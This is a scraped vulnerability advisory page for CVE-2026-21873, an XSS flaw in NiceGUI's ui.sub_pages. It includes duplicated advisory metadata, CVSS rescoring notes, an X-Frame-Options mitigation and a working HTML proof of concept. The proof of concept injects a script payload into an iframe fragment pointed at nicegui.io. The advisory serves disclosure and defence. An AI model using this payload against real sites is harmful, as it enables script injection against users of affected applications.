\n \n\n```\n\n\n\n### Impact\n\nAny page which uses `ui.sub_pages` and does not actively prevent itself from being put in an iframe is affected.\n\nThe impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying `app` via FastAPI methods, and that `ui.sub_pages` is actively promoted as the new modern way to create Single-Page Applications (SPA). \n\n### Patch\n\n1. Not use `ui.sub_pages`\n2. Block iframe with the following code\n\n```py\[email protected]('http')\nasync def iframe_blocking_middleware(request, call_next):\n response = await call_next(request)\n response.headers['X-Frame-Options'] = 'DENY'\n return response\n```\n\n### Appendix\n\nAI is used safely to judge the CVSS scoring (input is censored).\n\nPlease find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma\n\n### Scoring update after manual review\n\nThe scoring done by AI was quite biased. Upon further review it is less dramatic. \n\n- User Interaction **None**: There's _almost_ no interaction required, and none of the interaction is with the vulnerable system.\n- Confidentiality & Integrity **Low**: The extent of data confidentiality & integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do. \n- Availability **None**: No DDoS is possible with this. Site remains performant as ever.","datePublished":"2026-01-25T00:17:30.958000","dateModified":"2026-01-25T02:03:28.424000","author":{"@type":"Organization","name":"Strobes Security","url":"https://strobes.co"},"publisher":{"@type":"Organization","name":"Strobes VI","url":"https://vi.strobes.co"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://vi.strobes.co/cve/CVE-2026-21873"},"about":{"@type":"Thing","name":"CVE-2026-21873","description":"Security vulnerability CVE-2026-21873 with CVSS score 6.1"},"keywords":["CVE-2026-21873","CVE","vulnerability","security","medium","patch available","Nicegui"]}\n \n\n```\n\n\n\n### Impact\n\nAny page which uses `ui.sub_pages` and does not actively prevent itself from being put in an iframe is affected.\n\nThe impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying `app` via FastAPI methods, and that `ui.sub_pages` is actively promoted as the new modern way to create Single-Page Applications (SPA). \n\n### Patch\n\n1. Not use `ui.sub_pages`\n2. Block iframe with the following code\n\n```py\[email protected]('http')\nasync def iframe_blocking_middleware(request, call_next):\n response = await call_next(request)\n response.headers['X-Frame-Options'] = 'DENY'\n return response\n```\n\n### Appendix\n\nAI is used safely to judge the CVSS scoring (input is censored).\n\nPlease find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma\n\n### Scoring update after manual review\n\nThe scoring done by AI was quite biased. Upon further review it is less dramatic. \n\n- User Interaction **None**: There's _almost_ no interaction required, and none of the interaction is with the vulnerable system.\n- Confidentiality & Integrity **Low**: The extent of data confidentiality & integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do. \n- Availability **None**: No DDoS is possible with this. Site remains performant as ever."}},{"@type":"Question","name":"What is the severity of CVE-2026-21873?","acceptedAnswer":{"@type":"Answer","text":"CVE-2026-21873 has a CVSS v3 score of 6.1, which is classified as Medium severity."}},{"@type":"Question","name":"Is there an exploit available for CVE-2026-21873?","acceptedAnswer":{"@type":"Answer","text":"No known public exploits are currently available for CVE-2026-21873."}},{"@type":"Question","name":"Is there a patch available for CVE-2026-21873?","acceptedAnswer":{"@type":"Answer","text":"Yes, patches are available for CVE-2026-21873. Check the vendor advisories for update instructions."}}]}

<html>
  <body>
    <iframe id="myiframe" src="https://nicegui.io" width="100%" height="600px" onload="triggerXSS()"></iframe>
    <script>
      function triggerXSS() {
        if (!myiframe.src.includes("#")) {
          myiframe.src = "https://nicegui.io#x');alert(document.domain)//";
        }
      }
    </script>
  </body>
</html>

@app.middleware('http')
async def iframe_blocking_middleware(request, call_next):
    response = await call_next(request)
    response.headers['X-Frame-Options'] = 'DENY'
    return response